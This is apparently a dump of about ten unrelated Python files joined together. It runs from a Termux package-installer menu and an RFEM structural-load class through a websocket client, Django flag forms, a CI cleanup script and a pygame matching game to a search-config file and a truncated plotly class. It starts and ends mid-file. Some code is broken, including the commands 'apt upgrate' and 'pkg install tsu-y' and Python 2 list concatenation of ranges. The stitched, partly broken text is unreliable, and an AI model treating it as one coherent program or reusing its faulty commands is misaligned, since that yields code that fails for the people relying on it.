os.system ("apt install dnsutils -y")
os.system ("pkg upgrade dnsutils -y")
os.system ("apt upgrade dnsutils -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '17' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install coreutils -y")
os.system ("apt install coreutils -y")
os.system ("pkg upgrade coreutils -y")
os.system ("apt upgrade coreutils -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '18' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install fish -y")
os.system ("apt install fish -y")
os.system ("pkg upgrade fish -y")
os.system ("apt upgrade fish -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '19' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install zip -y")
os.system ("apt install zip -y")
os.system ("pkg upgrade zip -y")
os.system ("apt upgrade zip -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '20' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install figlet -y")
os.system ("apt install figlet -y")
os.system ("pkg upgrade figlet -y")
os.system ("apt upgrade figlet -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '21' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install cowsay -y")
os.system ("apt install cowsay -y")
os.system ("pkg upgrade cowsay -y")
os.system ("apt upgrade cowsay -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '22' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install unzip -y")
os.system ("apt install unzip -y")
os.system ("pkg upgrade unzip -y")
os.system ("apt upgrade unzip -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '23' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install vim -y")
os.system ("apt install vim -y")
os.system ("pkg upgrade vim -y")
os.system ("apt upgrade vim -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '24' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install wcalc -y")
os.system ("apt install wcalc -y")
os.system ("pkg upgrade wcalc -y")
os.system ("apt upgrade wcalc -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '25' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install bmon -y")
os.system ("apt install bmon -y")
os.system ("pkg upgrade bmon -y")
os.system ("apt upgrade bmon -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '26' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install unrar -y")
os.system ("apt install unrar -y")
os.system ("pkg upgrade unrar -y")
os.system ("apt upgrade unrar -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '27' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install proot -y")
os.system ("apt install proot -y")
os.system ("pkg upgrade proot -y")
os.system ("apt upgrade proot -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '28' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install golang -y")
os.system ("apt install golang -y")
os.system ("pkg upgrade golang -y")
os.system ("apt upgrade golang -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '29' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system("pkg install tsu-y")
os.system ("apt install tsu -y")
os.system ("pkg upgrade tsu -y")
os.system ("apt upgrade tsu -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '30' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install tor")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '31' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system ("pkg install php -y")
os.system ("pkg upgrade php -y")
os.system ("apt install php -y")
os.system ("apt upgrade php -y")
os.system ("termux-setup-storage")
sys.exit ()
if choice == '00' : os.system ("apt upgrade -y")
os.system ("pkg install")
os.system ("pkg upgrade")
os.system ("apt install")
os.system ("apt upgrate")
os.system ("apt update")
os.system ("pkg update")
os.system("python -m pip install --upgrade pip")
os.system ("pip3 install --upgrade setuptools pip")
os.system ("pkg install python -y")
os.system ("pkg upgrade python -y")
os.system ("apt install python -y")
os.system ("apt upgrade python -y")
os.system ("pkg install python2 -y")
os.system ("pkg upgrade python2 -y")
os.system ("apt install python2 -y")
os.system ("apt upgrade python2 -y")
os.system ("pkg install php -y")
os.system ("pkg upgrade php -y")
os.system ("apt install php -y")
os.system ("apt upgrade php -y")
os.system ("pkg install bash")
os.system ("apt install bash")
os.system ("pkg upgrade bash")
os.system ("apt upgrade bash")
os.system ("apt install git -y")
os.system ("pkg install git -y")
os.system ("pkg upgrade git -y")
os.system ("apt upgrade git -y")
os.system ("pkg install perl -y")
os.system ("apt install perl -y")
os.system ("pkg upgrade perl -y")
os.system ("apt upgrade perl -y")
os.system ("pkg install nano -y")
os.system ("apt install nano -y")
os.system ("pkg upgrade nano -y")
os.system ("apt upgrade nano -y")
os.system ("pkg install curl -y")
os.system ("apt install curl -y")
os.system ("pkg upgrade curl -y")
os.system ("apt upgrade curl -y")
os.system ("pkg install openssl -y")
os.system ("apt install openssl -y")
os.system ("pkg upgrade openssl -y")
os.system ("apt upgrade openssl -y")
os.system ("pkg install openssh -y")
os.system ("apt install openssh -y")
os.system ("pkg upgrade openssh -y")
os.system ("apt upgrade openssh -y")
os.system ("pkg install wget -y")
os.system ("apt install wget -y")
os.system ("pkg upgrade wget -y")
os.system ("apt upgrade wget -y")
os.system ("pkg install clang -y")
os.system ("apt install clang -y")
os.system ("pkg upgrade clang -y")
os.system ("apt upgrade clang -y")
os.system ("pkg install nmap -y")
os.system ("apt install nmap -y")
os.system ("pkg upgrade nmap -y")
os.system ("apt upgrade nmap -y")
os.system ("pkg install w3m -y")
os.system ("apt install w3m -y")
os.system ("pkg upgrade w3m -y")
os.system ("apt upgrade w3m -y")
os.system ("pkg install ruby -y")
os.system ("apt install ruby -y")
os.system ("pkg upgrade ruby -y")
os.system ("apt upgrade ruby -y")
os.system ("pkg install dnsutils -y")
os.system ("apt install dnsutils -y")
os.system ("pkg upgrade dnsutils -y")
os.system ("apt upgrade dnsutils -y")
os.system ("pkg install coreutils -y")
os.system ("apt install coreutils -y")
os.system ("pkg upgrade coreutils -y")
os.system ("apt upgrade coreutils -y")
os.system ("pkg install fish -y")
os.system ("apt install fish -y")
os.system ("pkg upgrade fish -y")
os.system ("apt upgrade fish -y")
os.system ("pkg install zip -y")
os.system ("apt install zip -y")
os.system ("pkg upgrade zip -y")
os.system ("apt upgrade zip -y")
os.system ("pkg install figlet -y")
os.system ("apt install figlet -y")
os.system ("pkg upgrade figlet -y")
os.system ("apt upgrade figlet -y")
os.system ("pkg install cowsay -y")
os.system ("apt install cowsay -y")
os.system ("pkg upgrade cowsay -y")
os.system ("apt upgrade cowsay -y")
os.system ("pkg install unzip -y")
os.system ("apt install unzip -y")
os.system ("pkg upgrade unzip -y")
os.system ("apt upgrade unzip -y")
os.system ("pkg install vim -y")
os.system ("apt install vim -y")
os.system ("pkg upgrade vim -y")
os.system ("apt upgrade vim -y")
os.system ("pkg install wcalc -y")
os.system ("apt install wcalc -y")
os.system ("pkg upgrade wcalc -y")
os.system ("apt upgrade wcalc -y")
os.system ("pkg install bmon -y")
os.system ("apt install bmon -y")
os.system ("pkg upgrade bmon -y")
os.system ("apt upgrade bmon -y")
os.system ("pkg install unrar -y")
os.system ("apt install unrar -y")
os.system ("pkg upgrade unrar -y")
os.system ("apt upgrade unrar -y")
os.system ("pkg install proot -y")
os.system ("apt install proot -y")
os.system ("pkg upgrade proot -y")
os.system ("apt upgrade proot -y")
os.system ("pkg install golang -y")
os.system ("apt install golang -y")
os.system ("pkg upgrade golang -y")
os.system ("apt upgrade golang -y")
os.system("pkg install tsu-y")
os.system ("apt install tsu -y")
os.system ("pkg upgrade tsu -y")
os.system ("apt upgrade tsu -y")
os.system ("pkg install tor")
os.system ("termux-setup-storage")
sys.exit () | 17,478 | 5,960 |
from RFEM.initModel import Model, clearAtributes, ConvertToDlString
from RFEM.enums import SolidSetLoadType, SolidSetLoadDistribution, SolidSetLoadDirection
class SolidSetLoad():
def __init__(self,
no: int =1,
load_case_no: int = 1,
solid_sets_no: str= '1',
load_type = SolidSetLoadType.LOAD_TYPE_FORCE,
load_distribution = SolidSetLoadDistribution.LOAD_DISTRIBUTION_UNIFORM,
load_direction = SolidSetLoadDirection.LOAD_DIRECTION_GLOBAL_Z_OR_USER_DEFINED_W_TRUE,
magnitude: float = 0,
comment: str = '',
params: dict = {}):
# Client model | Solid Load
clientObject = Model.clientModel.factory.create('ns0:solid_set_load')
# Clears object attributes | Sets all attributes to None
clearAtributes(clientObject)
# Load No.
clientObject.no = no
# Load Case No.
clientObject.load_case = load_case_no
# Assigned Solid No.
clientObject.solid_sets = ConvertToDlString(solid_sets_no)
# Load Type
clientObject.load_type = load_type.name
# Load Distribution
clientObject.load_distribution = load_distribution.name
# Load Direction
clientObject.load_direction = load_direction.name
# Load Magnitude
clientObject.uniform_magnitude = magnitude
# Comment
clientObject.comment = comment
# Adding optional parameters via dictionary
for key in params:
clientObject[key] = params[key]
# Add Solid Load to client model
Model.clientModel.service.set_solid_set_load(load_case_no, clientObject)
def Force(self,
no: int =1,
load_case_no: int = 1,
solid_sets_no: str= '1',
load_direction = SolidSetLoadDirection.LOAD_DIRECTION_GLOBAL_Z_OR_USER_DEFINED_W_TRUE,
magnitude: float = 0,
comment: str = '',
params: dict = {}):
# Client model | Solid Load
clientObject = Model.clientModel.factory.create('ns0:solid_set_load')
# Clears object attributes | Sets all attributes to None
clearAtributes(clientObject)
# Load No.
clientObject.no = no
# Load Case No.
clientObject.load_case = load_case_no
# Assigned Solid No.
clientObject.solid_sets = ConvertToDlString(solid_sets_no)
# Load Type
clientObject.load_type = SolidSetLoadType.LOAD_TYPE_FORCE.name
# Load Distribution
clientObject.load_distribution = SolidSetLoadDistribution.LOAD_DISTRIBUTION_UNIFORM.name
# Load Direction
clientObject.load_direction = load_direction.name
# Load Magnitude
clientObject.uniform_magnitude = magnitude
# Comment
clientObject.comment = comment
# Adding optional parameters via dictionary
for key in params:
clientObject[key] = params[key]
# Add Solid Load to client model
Model.clientModel.service.set_solid_set_load(load_case_no, clientObject)
def Temperature(self,
no: int = 1,
load_case_no: int = 1,
solid_sets_no: str= '1',
load_distribution = SolidSetLoadDistribution.LOAD_DISTRIBUTION_UNIFORM,
load_parameter = None,
comment: str = '',
params: dict = {}):
'''
load_parameter:
LOAD_DISTRIBUTION_UNIFORM: load_parameter = magnitude
LOAD_DISTRIBUTION_LINEAR_IN_X: load_parameter = [magnitude_1, magnitude_2, node_1, node_2]
LOAD_DISTRIBUTION_LINEAR_IN_Y: load_parameter = [magnitude_1, magnitude_2, node_1, node_2]
LOAD_DISTRIBUTION_LINEAR_IN_Z: load_parameter = [magnitude_1, magnitude_2, node_1, node_2]
params:
{''}
'''
# Client model | Solid Load
clientObject = Model.clientModel.factory.create('ns0:solid_set_load')
# Clears object attributes | Sets all attributes to None
clearAtributes(clientObject)
# Load No.
clientObject.no = no
# Load Case No.
clientObject.load_case = load_case_no
# Assigned Solid No.
clientObject.solid_sets = ConvertToDlString(solid_sets_no)
# Load Type
clientObject.load_type = SolidSetLoadType.LOAD_TYPE_TEMPERATURE.name
# Load Distribution
if load_distribution.name == "LOAD_DISTRIBUTION_UNIFORM":
clientObject.uniform_magnitude = load_parameter
else:
clientObject.magnitude_1 = load_parameter[0]
clientObject.magnitude_2 = load_parameter[1]
clientObject.node_1 = load_parameter[2]
clientObject.node_2 = load_parameter[3]
clientObject.load_distribution = load_distribution.name
# Comment
clientObject.comment = comment
# Adding optional parameters via dictionary
for key in params:
clientObject[key] = params[key]
# Add Solid Load to client model
Model.clientModel.service.set_solid_set_load(load_case_no, clientObject)
def Strain(self,
no: int = 1,
load_case_no: int = 1,
solid_sets_no: str= '1',
load_distribution = SolidSetLoadDistribution.LOAD_DISTRIBUTION_UNIFORM,
load_parameter = None,
comment: str = '',
params: dict = {}):
'''
load_parameter:
LOAD_DISTRIBUTION_UNIFORM: load_parameter = [strain_uniform_magnitude_x, strain_uniform_magnitude_y, strain_uniform_magnitude_z]
LOAD_DISTRIBUTION_LINEAR_IN_X: load_parameter = [strain_magnitude_x1, strain_magnitude_y1, strain_magnitude_z1, strain_magnitude_x2, strain_magnitude_y2, strain_magnitude_z2, node_1, node_2]
LOAD_DISTRIBUTION_LINEAR_IN_Y: load_parameter = [strain_magnitude_x1, strain_magnitude_y1, strain_magnitude_z1, strain_magnitude_x2, strain_magnitude_y2, strain_magnitude_z2, node_1, node_2]
LOAD_DISTRIBUTION_LINEAR_IN_Z: load_parameter = [strain_magnitude_x1, strain_magnitude_y1, strain_magnitude_z1, strain_magnitude_x2, strain_magnitude_y2, strain_magnitude_z2, node_1, node_2]
params:
{''}
'''
# Client model | Solid Load
clientObject = Model.clientModel.factory.create('ns0:solid_set_load')
# Clears object attributes | Sets all attributes to None
clearAtributes(clientObject)
# Load No.
clientObject.no = no
# Load Case No.
clientObject.load_case = load_case_no
# Assigned Solid No.
clientObject.solid_sets = ConvertToDlString(solid_sets_no)
# Load Type
clientObject.load_type = SolidSetLoadType.LOAD_TYPE_STRAIN.name
# Load Distribution
if load_distribution.name == "LOAD_DISTRIBUTION_UNIFORM":
clientObject.strain_uniform_magnitude_x = load_parameter[0]
clientObject.strain_uniform_magnitude_y = load_parameter[1]
clientObject.strain_uniform_magnitude_z = load_parameter[2]
else:
clientObject.strain_magnitude_x1 = load_parameter[0]
clientObject.strain_magnitude_y1 = load_parameter[1]
clientObject.strain_magnitude_z1 = load_parameter[2]
clientObject.strain_magnitude_x2 = load_parameter[3]
clientObject.strain_magnitude_y2 = load_parameter[4]
clientObject.strain_magnitude_z2 = load_parameter[5]
clientObject.node_1 = load_parameter[6]
clientObject.node_2 = load_parameter[7]
clientObject.load_distribution = load_distribution.name
# Comment
clientObject.comment = comment
# Adding optional parameters via dictionary
for key in params:
clientObject[key] = params[key]
# Add Solid Load to client model
Model.clientModel.service.set_solid_set_load(load_case_no, clientObject)
def Motion(self,
no: int = 1,
load_case_no: int = 1,
solid_sets_no: str= '1',
load_parameter = None,
comment: str = '',
params: dict = {}):
'''
load_parameter:
load_parameter = [angular_velocity, angular_acceleration, axis_definition_p1_x, axis_definition_p1_y, axis_definition_p1_z, axis_definition_p2_x, axis_definition_p2_y, axis_definition_p2_z]
params:
{''}
'''
# Client model | Solid Load
clientObject = Model.clientModel.factory.create('ns0:solid_set_load')
# Clears object attributes | Sets all attributes to None
clearAtributes(clientObject)
# Load No.
clientObject.no = no
# Load Case No.
clientObject.load_case = load_case_no
# Assigned Solid No.
clientObject.solid_sets = ConvertToDlString(solid_sets_no)
# Load Type
clientObject.load_type = SolidSetLoadType.LOAD_TYPE_ROTARY_MOTION.name
# Velocity
clientObject.angular_velocity = load_parameter[0]
# Acceleration
clientObject.angular_acceleration = load_parameter[1]
# Axis Definition
clientObject.axis_definition_p1_x = load_parameter[2]
clientObject.axis_definition_p1_y = load_parameter[3]
clientObject.axis_definition_p1_z = load_parameter[4]
clientObject.axis_definition_p2_x = load_parameter[5]
clientObject.axis_definition_p2_y = load_parameter[6]
clientObject.axis_definition_p2_z = load_parameter[7]
# Comment
clientObject.comment = comment
# Adding optional parameters via dictionary
for key in params:
clientObject[key] = params[key]
# Add Solid Load to client model
Model.clientModel.service.set_solid_set_load(load_case_no, clientObject)
#def Buoyancy():
# print('The function Buoyancy() is not implemented yet.')
#def Gas():
# print('The function Gas() is not implemented yet.')
| 10,255 | 3,114 |
# 2D example tensile test
import numpy as np
import matplotlib.pyplot as plt
import PyFEMP
import PyFEMP.elements.Elmt_BaMo_2D as ELEMENT
FEM = PyFEMP.FEM_Simulation(ELEMENT)
n = 4
XI, Elem = PyFEMP.msh_rec([0.0, 0.0], [10.0, 10.0], [n, n], type='Q1')
FEM.Add_Mesh(XI, Elem)
FEM.Add_Material([2100, 0.3], "All")
FEM.Add_EBC("x==0", "UX", 0)
FEM.Add_EBC("y==0", "UY", 0)
FEM.Add_EBC("x==10", "UX", 1)
FEM.Analysis()
FEM.NextStep(1.0, 1.0)
print( FEM.NewtonIteration() )
print( FEM.NewtonIteration() )
ux = FEM.NodalDof("x==10 and y==10", "UX")
uy = FEM.NodalDof("x==10 and y==10", "UY")
print('ux :',ux, 'uy :',uy)
fig, ax = plt.subplots(1,1, figsize=(8.0, 8.0))
postplot = FEM.ShowMesh(ax, ec='b', label='reference config.')
postplot = FEM.ShowMesh(ax, deformedmesh=True, ec='r', label='current config.')
ax.legend()
plt.show() | 838 | 429 |
#!/usr/bin/env python
import asyncio
import websockets
import os
port = int(os.environ.get('PORT', '8765'))
async def hello():
print("Starting client on :%s" % port)
async with websockets.connect('ws://localhost:%s' % port) as websocket:
msg = 'Client msg #1'
await websocket.send(msg)
print('> {}'.format(msg))
i = 0
while True:
greeting = await websocket.recv()
i += 1
print("< {}".format(greeting))
asyncio.get_event_loop().run_until_complete(hello())
| 547 | 183 |
from django import forms
from flags.forms import FlagStateForm as DjangoFlagsFlagStateForm
from flags.models import FlagState
from flags.sources import get_flags
class NewFlagForm(forms.ModelForm):
name = forms.CharField(label="Name", required=True)
def clean_name(self):
name = self.cleaned_data["name"]
if name in get_flags():
raise forms.ValidationError(
"Flag named {} already exists".format(name)
)
return name
def save(self, commit=True):
obj = super(NewFlagForm, self).save(commit=False)
obj.condition = "boolean"
obj.value = "False"
obj.required = False
obj.save()
return obj
class Meta:
model = FlagState
fields = ("name",)
class FlagStateForm(DjangoFlagsFlagStateForm):
name = forms.CharField(
label="Flag",
required=True,
disabled=True,
widget=forms.HiddenInput(),
)
class Meta:
model = FlagState
fields = ("name", "condition", "value", "required")
| 1,073 | 295 |
# -*- coding:utf8 -*-
"""
一些其他工具
当需要细化或者函数太多时，应该把其中一些独立出去
"""
import uuid
from enum import Enum, unique
from utils.log import get_logger
logger = get_logger(__name__)
@unique
class PipeTaskStatus(Enum): # 还不够需要写状态机，先用这个凑活一下
"""
name is Status
value is Next
"""
# TODO 多线程时应该增加STOPPING, WAITING等状态
# TODO 为了避免Enum键值对别名的规则，引入一个None占位，None无意义，不是一个状态！
PREPARATION = ["DOING", "FAIL"] # preparation是准备阶段，计算、保存一切运行的必要信息，未准备结束的ppt是不支持restart的
DOING = ["SUCCESS", "FAIL", "RESTARTING"]
SUCCESS = []
FAIL = ["RESTARTING"]
RESTARTING = ["DOING", "FAIL", None] # restarting是重启的准备阶段，准备好后直接进入doing
# STOPPING = []
# WAITING = []
def new_id(is_log=True):
_id = str(uuid.uuid4())
if is_log:
logger.debug("new an id={} with uuid4 method".format(_id))
return _id
| 830 | 458 |
# This is just for GitHub, and is used to clean up leftover files after
# automatic testing has completed, and generate developer reports about
# anything left undocumented!
# run: "sudo python ./extras/scripts/finish_ci.py"
import os
import sys
os.system("sudo python ./extras/scripts/generate_doxygen_report.py")
os.system("sudo python ./extras/scripts/generate_keywords_report.py")
os.system("sudo python ./extras/scripts/generate_overview_report.py")
print("Cleaning up CI junk...")
os.system("ls .")
os.system("git add *")
os.system("sudo rm -r *.tar*")
os.system("sudo rm -r examples/*/build")
os.system("git commit -a -m 'Automated Cleanup'")
os.system("git push")
print("Done!" )
| 693 | 227 |
import pygame
import random
pygame.init()
pygame.font.init()
class Card(object):
""" The Card Class """
def __init__(self, left, top, width, height,
back_color, front_color, solved_color,
display,
font_color, text_font, value=None):
self._rect = pygame.Rect(left, top, width, height)
self._display = display
self._back_color = back_color # color of card when face down
self._front_color = front_color # color of card when face up
self._solved_color = solved_color # color of card after it is matched
self._font_color = font_color
self._text_font = text_font
self._value = value # the number we are trying to match
self._unsolved = True # is set to false once matched
self._hidden = True # card is face down to start
self._times_seen = 0 # number of times player viewed card
@property
def value(self):
return self._value
@value.setter
def value(self, value):
self._value = value
@property
def times_seen(self):
return self._times_seen
def solved(self):
self._unsolved = False
pygame.draw.rect(self._display, self._solved_color, self._rect)
def is_unsolved(self):
return self._unsolved
def is_clicked(self, pos):
x_pos, y_pos = pos
return self._rect.collidepoint(x_pos, y_pos) # did player click on this card?
def is_hidden(self):
return self._hidden
def show_card(self):
self._hidden = False
self._times_seen += 1
pygame.draw.rect(self._display, self._front_color, self._rect)
text_surface = self._text_font.render(self._value, True, self._font_color)
self._display.blit(text_surface, (self._rect.center[0] - (text_surface.get_width() / 2),
self._rect.center[1] - (text_surface.get_height() / 2)))
def hide_card(self):
self._hidden = True
pygame.draw.rect(self._display, self._back_color, self._rect)
def get_matching_card(card_list, card_to_match):
""" This function returns the card that matches the one passed in """
the_matching_card = None
for test_card in card_list:
if test_card.value == card_to_match.value and test_card != card_to_match:
the_matching_card = test_card
break
return the_matching_card
def cards_remaining(card_list):
""" this function returns the number of cards that have not been matched yet """
num_remaining = 0
for c in card_list:
if c.is_unsolved():
num_remaining += 1
return num_remaining
if __name__ == "__main__":
display_width = 600
display_height = 600
card_font = pygame.font.SysFont('Comic Sans MS', 48)
front_col = pygame.Color('white')
solved_col = pygame.Color('#636363')
back_col = pygame.Color('#293a32')
font_col = pygame.Color('black')
score_font = pygame.font.SysFont('Comic Sans MS', 24)
score_txt_col = pygame.Color('#d4c38f')
score_y_margin = 50
score_x_margin = 20
player_closed_app = False
new_game = False
cards = []
game_display = pygame.display.set_mode((display_width, display_height))
pygame.display.set_caption('Matching Game')
game_display.fill(pygame.Color('#b5c9a6'))
score_rect = pygame.draw.rect(game_display, pygame.Color('black'), pygame.Rect(0, 0, display_width, score_y_margin))
surf_8x8_txt = score_font.render("8 x 8", True, score_txt_col)
left_pos = (game_display.get_width() - score_x_margin - surf_8x8_txt.get_width())
surf_8x8_rect = game_display.blit(surf_8x8_txt, (left_pos, (score_y_margin - surf_8x8_txt.get_height()) / 2))
surf_6x6_txt = score_font.render("6 x 6", True, score_txt_col)
left_pos = left_pos - surf_6x6_txt.get_width() - score_x_margin
surf_6x6_rect = game_display.blit(surf_6x6_txt, (left_pos, (score_y_margin - surf_6x6_txt.get_height()) / 2))
surf_4x4_txt = score_font.render("4 x 4", True, score_txt_col)
left_pos = left_pos - surf_4x4_txt.get_width() - score_x_margin
surf_4x4_rect = game_display.blit(surf_4x4_txt, (left_pos, (score_y_margin - surf_4x4_txt.get_height()) / 2))
surf_sel_txt = score_font.render("Select Game:", True, score_txt_col)
left_pos = left_pos - surf_sel_txt.get_width() - score_x_margin
game_display.blit(surf_sel_txt, (left_pos, (score_y_margin - surf_sel_txt.get_height()) / 2))
num_cols = 0
num_rows = 0
pick_1 = None # variable to hold first card selected by player
score = 0
max_score = 0 # maximum score a player can get
while not player_closed_app:
for event in pygame.event.get():
if event.type == pygame.QUIT:
player_closed_app = True
if new_game:
pygame.draw.rect(game_display, pygame.Color('#b5c9a6'),
pygame.Rect(0, score_y_margin, display_width, display_height - score_y_margin))
total_pairs = (num_cols * num_rows) / 2
max_score = total_pairs - 1 # player gets no credit for last two cards remaining
pairs = range(1, total_pairs + 1) + range(1, total_pairs + 1) # create numbered pairs
# calculate the width and height of the cards and the space between them
card_horz_width = int((display_width * 0.8) / num_cols)
space_horz_width = int((display_width * 0.2) / (num_cols + 1))
card_vert_height = int(((display_height - score_y_margin) * 0.8) / num_rows)
space_vert_height = int(((display_height - score_y_margin) * 0.2) / (num_rows + 1))
# create cards and randomly assign the numbered pairs
random.random()
del cards[:]
for row in range(1, num_rows + 1):
for col in range(1, num_cols + 1):
rnd_item = random.choice(pairs)
pairs.remove(rnd_item)
new_card_x = ((col - 1) * card_horz_width) + (col * space_horz_width)
new_card_y = ((row - 1) * card_vert_height) + (row * space_vert_height) + score_y_margin
crd = Card(new_card_x, new_card_y, card_horz_width, card_vert_height,
back_col, front_col, solved_col, game_display, font_col, card_font, str(rnd_item))
cards.append(crd)
crd.hide_card()
score = 0
new_game = False
if pygame.mouse.get_pressed()[0]:
if surf_4x4_rect.collidepoint(pygame.mouse.get_pos()): # start new game 4 x 4
new_game = True
num_cols = 4
num_rows = 4
pygame.time.wait(200) # wait 200ms to avoid multiple new game mouse click events
if surf_6x6_rect.collidepoint(pygame.mouse.get_pos()): # start new game 6 x 6
new_game = True
num_cols = 6
num_rows = 6
pygame.time.wait(200)
if surf_8x8_rect.collidepoint(pygame.mouse.get_pos()): # start new game 8 x 8
new_game = True
num_cols = 8
num_rows = 8
pygame.time.wait(200)
for crd in cards:
if crd.is_clicked(pygame.mouse.get_pos()) and crd.is_hidden() and crd.is_unsolved():
crd.show_card()
pygame.display.flip()
if pick_1 is None:
pick_1 = crd # player picked first card
else: # player picked second card.
if pick_1.value == crd.value: # it is a match!
pick_1.solved()
crd.solved()
if crd.times_seen > 1 and cards_remaining(cards) > 0:
score += 1 # if you have seen the matching card at least once before, you get a point
elif crd.times_seen == 1 and cards_remaining(cards) > 0:
max_score -= 1 # no points for luck, we just reduce the max possible score
pygame.time.wait(500) # show matching values for 500ms
else: # it did not match
pick_1.hide_card()
crd.hide_card()
matching_card = get_matching_card(cards, pick_1)
if matching_card.times_seen > 0:
score -= 1 # player has seen the matching card before! 1 point penalty!
if crd.times_seen > 1:
score -= 1 # player should have known this card was not a match! 1 point penalty!
pygame.time.wait(1500) # show card values for 1.5sec
pick_1 = None # get ready for next pair of selections by player
break
# update score
surf_wrong = score_font.render("Score = " + str(score) + " out of " + str(max_score), True, score_txt_col)
pygame.draw.rect(game_display, pygame.Color('black'),
pygame.Rect(score_x_margin, 0, surf_wrong.get_width() + 100, score_y_margin))
game_display.blit(surf_wrong, (score_x_margin, (score_y_margin - surf_wrong.get_height()) / 2))
pygame.display.flip()
# player existed application
pygame.quit()
quit()
| 9,549 | 3,060 |
import os
class config:
host = 'zhangxuanyang.zhangxuanyang.ws2.hh-c.brainpp.cn'
username = 'admin'
port = 5672
exp_name = os.path.dirname(os.path.abspath(__file__))
exp_name = '-'.join(i for i in exp_name.split(os.path.sep) if i);
test_send_pipe = exp_name + '-test-send_pipe'
test_recv_pipe = exp_name + '-test-recv_pipe'
net_cache = 'model_and_data/checkpoint_epoch_50.pth.tar'
initial_net_cache = 'model_and_data/checkpoint_epoch_0.pth.tar'
layers = 14
edges = 14
model_input_size = (1, 3, 224, 224)
# Candidate operators
blocks_keys = [
'none',
'max_pool_3x3',
'avg_pool_3x3',
'skip_connect',
'sep_conv_3x3',
'sep_conv_5x5',
'dil_conv_3x3',
'dil_conv_5x5'
]
op_num = len(blocks_keys)
# Operators encoding
NONE = 0
MAX_POOLING_3x3 = 1
AVG_POOL_3x3 = 2
SKIP_CONNECT = 3
SEP_CONV_3x3 = 4
SEP_CONV_5x5 = 5
DIL_CONV_3x3 = 6
DIL_CONV_5x5 = 7
time_limit=None
#time_limit=0.050
speed_input_shape=[32,3,224,224]
flops_limit=True
max_flops=600*1e6
# max_flops=None
max_epochs=20
select_num = 10
population_num = 50
mutation_num = 25
m_prob = 0.1
crossover_num = 25
momentum = 0.7
eps = 1e-5
# Enumerate all paths of a single cell
paths = [[0, 2, 3, 4, 5], [0, 2, 3, 5], [0, 2, 4, 5], [0, 2, 5], [0, 3, 4, 5], [0, 3, 5], [0, 4, 5], [0, 5],
[1, 2, 3, 4, 5], [1, 2, 3, 5], [1, 2, 4, 5], [1, 2, 5], [1, 3, 4, 5], [1, 3, 5], [1, 4, 5], [1, 5],
[0, 2, 3, 4], [0, 2, 4], [0, 3, 4], [0, 4],
[1, 2, 3, 4], [1, 2, 4], [1, 3, 4], [1, 4],
[0, 2, 3], [0, 3],
[1, 2, 3], [1, 3],
[0, 2],
[1, 2]]
for i in ['exp_name']:
print('{}: {}'.format(i,eval('config.{}'.format(i))))
| 1,889 | 967 |
from plotly.basedatatypes import BaseLayoutHierarchyType as _BaseLayoutHierarchyType
import copy as _copy
class Projection(_BaseLayoutHierarchyType):
# class properties
# --------------------
_parent_path_str = "layout.geo"
_path_str = "layout.geo.projection"
_valid_props = {"parallels", "rotation", "scale", "type"}
# parallels
# ---------
@property
def parallels(self):
"""
For conic projection types only. Sets the parallels (tangent,
secant) where the cone intersects the sphere.
